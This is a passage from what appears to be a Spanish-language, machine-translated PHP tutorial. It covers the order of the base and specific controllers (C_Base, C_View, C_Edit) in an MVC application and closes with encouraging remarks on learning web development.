    • Un controlador específico (C_View o C_Edit).
    • A continuación comienza la fase de generación de HTML, se debe proceder en orden inverso:
    • Controlador específico (C_View o C_Edit);
    • Controlador base (C_Base).
    • en el diagrama este ciclo se puede representar así:


      En conclusión

      Con esto concluye la historia sobre la aplicación. POO junto con el concepto mvc. Restante bloques de funciones Tendrá que implementar el sitio usted mismo. No te dejes intimidar por la gran dificultad de la tarea. Poco a poco, los nuevos conceptos le resultarán familiares y podrá navegar por ellos con mucha más confianza.

      Programar nunca ha sido fácil para nadie. Con cada día de práctica, con cada nuevo script PHP, obtendrá su propia experiencia invaluable, que en el futuro le permitirá desarrollar de manera rápida, competente y efectiva sistemas de Internet de cualquier complejidad. La clave de esta oportunidad es Este es un enfoque profesional para el desarrollo web.



       Arriba

      AñoProyectoDescripción